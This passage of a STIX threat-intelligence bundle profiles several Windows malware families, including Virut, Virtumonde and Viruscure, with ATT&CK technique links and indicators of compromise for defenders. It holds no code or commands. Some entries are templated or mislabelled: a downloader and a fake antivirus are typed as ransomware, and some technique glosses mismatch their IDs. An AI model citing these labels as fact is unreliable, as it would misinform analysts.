        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Virtu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/virtu"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d73c7875-7d5b-5174-89f7-41fc1c33ea4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f377f73-d557-5cf0-a7d8-0950e9ce9346",
      "target_ref": "attack-pattern--eedbde1d-68a8-5dc5-84d8-a85510977486",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtu exhibits technique T1195 (Supply Chain Compromise (Infecting local executables))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa984bb6-b3da-528f-9c15-aa832039c67a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f377f73-d557-5cf0-a7d8-0950e9ce9346",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtu exhibits technique T1055 (Process Injection (Memory-resident infection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--149d911a-d245-5321-9f23-801fa448b9d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f377f73-d557-5cf0-a7d8-0950e9ce9346",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtu exhibits technique T1027 (Obfuscated Files or Information (Polymorphic engine))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec5bad3b-3d84-52f1-9ba5-8a7cd4fe3903",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f377f73-d557-5cf0-a7d8-0950e9ce9346",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtu exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (IRC C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--06f1e6c2-5037-52d1-a3b0-c49425a97ca3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Virtum",
      "description": "Trojan:Win32/Virtum is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Virtum</b><br>To an end-user, a Virtum infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Virtum is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Virtum is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Virtum frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Virtum reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Virtum",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/virtum"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3430f51e-fbf8-5d15-b512-a7574e73c385",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06f1e6c2-5037-52d1-a3b0-c49425a97ca3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtum exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77af50dd-c2f1-548b-9047-485183d16a32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06f1e6c2-5037-52d1-a3b0-c49425a97ca3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtum exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac8ac972-ea9b-5133-987a-ed0dcf52ff5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06f1e6c2-5037-52d1-a3b0-c49425a97ca3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtum exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88c4838c-56f4-5130-9a02-e93da3cad80a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06f1e6c2-5037-52d1-a3b0-c49425a97ca3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtum exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--368a7622-123c-569d-85fb-f606f59d7666",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06f1e6c2-5037-52d1-a3b0-c49425a97ca3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtum exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dbe3b8c5-ddde-5c49-84d0-f3e322a0a398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Virtumod",
      "description": "Trojan:Win32/Virtumod is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Virtumod</b><br>To an end-user, a Virtumod infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Virtumod is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Virtumod is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Virtumod frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Virtumod reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Virtumod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/virtumod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--395119d9-3e2e-5caa-9159-49f757ffeafa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dbe3b8c5-ddde-5c49-84d0-f3e322a0a398",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumod exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bab1227e-2f78-55b1-8b8b-62b13160acf7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dbe3b8c5-ddde-5c49-84d0-f3e322a0a398",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumod exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--336b84eb-8715-591e-8b02-05980fb94a4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dbe3b8c5-ddde-5c49-84d0-f3e322a0a398",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumod exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6045ec20-9ca5-552d-8298-0f372094770e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dbe3b8c5-ddde-5c49-84d0-f3e322a0a398",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumod exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eecaba1b-105c-5d97-80be-3995fe067f11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dbe3b8c5-ddde-5c49-84d0-f3e322a0a398",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumod exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d6a6e572-ad0e-52f2-a6ad-b887e98f0a24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Virtumonde",
      "description": "Adware/Trojan:Win32/Virtumonde (also widely known as Vundo) is a historically significant, highly aggressive adware and trojan family that peaked in the mid-to-late 2000s. It was notorious for its extreme resilience, rootkit-like persistence, and its role as a distribution mechanism for rogue anti-spyware (scareware) programs. While less common in modern, patched environments, its techniques paved the way for modern, persistent malware architectures.<br><br><b>Understanding Virtumonde (Vundo)</b><br>To an end-user, a Virtumonde infection was an absolute nightmare, characterized by relentless, unclosable pop-up advertisements (`T1491.001`) and severe system degradation. For a security analyst, Virtumonde was infamous for being incredibly difficult to remove, as it deeply hooked into the Windows Explorer shell (`T1546.015`) and actively defended its registry keys against modification.<br><br><b>Execution and Persistence Mechanics</b><br>Virtumonde was typically distributed via drive-by downloads (`T1189`), Java exploits, or bundled with malicious screensavers. Once executed, its primary persistence mechanism involved loading itself as a Browser Helper Object (BHO) or hooking directly into `winlogon.exe` and `explorer.exe` via Component Object Model (COM) hijacking (`T1546.015`). This ensured the malware loaded instantly when the desktop appeared. Virtumonde actively utilized API hooking (`T1562.001`) to intercept attempts by the user or basic antivirus tools to delete its DLL files or registry entries. Its primary payload was displaying intrusive advertising and aggressively downloading fake system optimizers (like 'WinFixer') to extort the user.<br><br><b>Indicators of Compromise & Impact</b><br>The impact was near-total loss of system usability due to pop-ups and resource exhaustion. Host-based IoCs included randomly generated DLL files (e.g., `hjkhk.dll`) loading from the `System32` directory, specifically injected into `explorer.exe`. Anomalous BHO registry keys (under `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects`) were a primary indicator. EDR telemetry would show relentless HTTP traffic requesting ad content and the constant spawning of `iexplore.exe` processes in the background. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Virtumonde",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/virtumonde"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ca59bc7-43fb-5faa-a999-8c590590c056",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6a6e572-ad0e-52f2-a6ad-b887e98f0a24",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumonde exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking (Deep persistence via BHOs and shell hooks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95fe2237-6b4e-503f-8c46-832a5d43c91b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6a6e572-ad0e-52f2-a6ad-b887e98f0a24",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumonde exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Actively blocking deletion of its files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--520afa6c-7327-5680-9694-e6833d8b9f2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6a6e572-ad0e-52f2-a6ad-b887e98f0a24",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumonde exhibits technique T1491.001 (Defacement: Internal Defacement (Relentless pop-up advertisements))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d883a96d-cb21-5b35-9053-5ddbaa9ee3fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6a6e572-ad0e-52f2-a6ad-b887e98f0a24",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virtumonde exhibits technique T1189 (Drive-by Compromise (Primary initial access vector via exploit kits))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--adfb709b-cf1c-5888-bb3f-1450fa990905",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Viruscure",
      "description": "Rogue:Win32/Viruscure is a classic example of 'Rogueware' or Fake Antivirus. Its primary objective is financial extortion through deception and intimidation. It infects a system, displays highly realistic but completely fabricated security alerts (e.g., 'Warning! 342 Viruses Found!'), and demands that the user purchase a 'full license' of the Viruscure software to remove the non-existent threats (`T1491.001`).<br><br><b>Understanding Viruscure (Fake Antivirus)</b><br>To an end-user, Viruscure is terrifying. It mimics the interface of legitimate security software, hijacks the desktop wallpaper with warning messages, and often disables the real antivirus or Task Manager to prevent the user from stopping it. For security professionals, Viruscure represents an early form of digital extortion that laid the psychological groundwork for modern Tech Support Scams and ransomware.<br><br><b>Execution and Deception Mechanics</b><br>Viruscure is typically distributed via malvertising (fake 'Scan your PC now!' banners) or bundled with deceptive software downloads (`T1189`). Upon execution, it establishes aggressive persistence, often modifying the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key. It then initiates its payload: displaying continuous, unclosable pop-up warnings, modifying the hosts file (`T1562.002`) to block access to legitimate antivirus vendor websites (preventing the user from downloading real help), and aggressively prompting the user to enter their credit card information into a fraudulent payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial loss for the victim and severe disruption of system usability. Host-based IoCs are highly visible: the presence of the fake AV interface, unauthorized modifications to the desktop wallpaper, registry keys disabling Task Manager (`DisableTaskMgr`), and a modified `%SystemRoot%\\System32\\drivers\\etc\\hosts` file blocking security domains. Network IoCs include outbound HTTP traffic to the attacker's payment processing domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Viruscure",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/viruscure"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d88f4201-33ef-5769-867b-909ff985565b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adfb709b-cf1c-5888-bb3f-1450fa990905",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viruscure exhibits technique T1491.001 (Defacement: Internal Defacement (Hijacking the desktop and displaying fake alerts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--580c7192-6148-5247-a9d0-07a2f0308a84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adfb709b-cf1c-5888-bb3f-1450fa990905",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viruscure exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager and real AV software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d94f6d8-2253-5e6c-8445-c4880719c9a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adfb709b-cf1c-5888-bb3f-1450fa990905",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viruscure exhibits technique T1189 (Drive-by Compromise (Initial distribution via malvertising))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87a6cc76-7221-52d7-a91b-5fe6a8ce2a4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Virut",
      "description": "Virut (also tracked as Virux or W32/Virut) is one of the most destructive, technically complex, and resilient polymorphic file infectors and botnets in cybersecurity history, first discovered in mid-2006. Engineered as a parasitic viral organism, Virut utilized advanced Entry Point Obscuring (EPO) algorithms to insert encrypted viral poly-engines into both 32-bit Portable Executable files (.exe and .scr) on local drives and network shares, while simultaneously appending malicious iframe tags to HTML and ASP files.\n\nBeyond file corruption, Virut weaponized infected endpoints into a massive distributed botnet commanded over encrypted IRC and HTTP protocols. The operators commercialized the botnet as a pay-per-install (PPI) staging platform, deploying secondary trojans, fraud tools, and spam relays across millions of hosts. In January 2013, Polish national cybersecurity agency CERT Polska (NASK) executed a historic legal and technical takedown, seizing 23 central command domains across the `.pl` national top-level domain. At the time of the seizure, Virut commanded over 3.1 million compromised systems globally, with over 890,000 active unique bot connections detected daily. (Observed samples in benchmark: 1,578)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virut",
        "Win32/Virut",
        "Virux",
        "Virut.CE",
        "W32.Virut.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Virut",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/virut"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--679fc6c3-00c2-5826-a3a1-e10f8135ea96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87a6cc76-7221-52d7-a91b-5fe6a8ce2a4f",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virut exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d4b65d1-5dd8-5d9b-9269-9d348157b1fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87a6cc76-7221-52d7-a91b-5fe6a8ce2a4f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virut exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91abaaac-08c8-5adf-8902-2e89ad8f1ad9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87a6cc76-7221-52d7-a91b-5fe6a8ce2a4f",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virut exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21fb7fb0-bbe5-5df6-96a3-92d16894199c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87a6cc76-7221-52d7-a91b-5fe6a8ce2a4f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virut exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6740edd0-ad99-5f36-ab92-b768c9e9f0cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87a6cc76-7221-52d7-a91b-5fe6a8ce2a4f",
      "target_ref": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virut exhibits technique T1071.002 (Application Layer Protocol: File Transfer Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--674ca4c4-e21f-5e86-a369-4c28a40d1aeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Visicom",
      "description": "Adware:Win32/Visicom is an aggressive Potentially Unwanted Program (PUA) and adware family, functioning primarily as a **Browser Hijacker**. Its core objective is to silently install rogue browser extensions, intercept web traffic, inject intrusive advertisements, and forcibly redirect a user's search queries to affiliated, low-reputation search engines to generate illicit pay-per-click revenue.<br><br><b>Understanding Visicom Adware</b><br>To an end-user, a Visicom infection is highly disruptive. Their familiar Google or Bing homepage is suddenly replaced by an unknown portal (often branded with 'Visicom Media' properties), their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Visicom is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites or disguised as legitimate browser toolbars (like 'V-Bates' or 'MyPCBackup'). Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries and visited URLs, sending this telemetry back to the adware operators to serve highly targeted injected advertisements and manipulate search engine results.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks. EDR logs will flag the installation of the Visicom extensions (often disguised with generic names) and the unauthorized modification of browser registry keys (`HKLM\\SOFTWARE\\Policies\\Google\\Chrome\\ExtensionInstallForcelist`). (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Visicom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/visicom"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56e0911a-e8b4-5cd8-a42f-9a16fd171b75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674ca4c4-e21f-5e86-a369-4c28a40d1aeb",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Visicom exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9fe34ff-24d0-53b8-b6d5-b72bf8879930",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674ca4c4-e21f-5e86-a369-4c28a40d1aeb",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Visicom exhibits technique T1176 (Browser Extensions (BHO / Toolbar installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bf1c2a5-c49c-551c-a220-c6094298dfe9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674ca4c4-e21f-5e86-a369-4c28a40d1aeb",
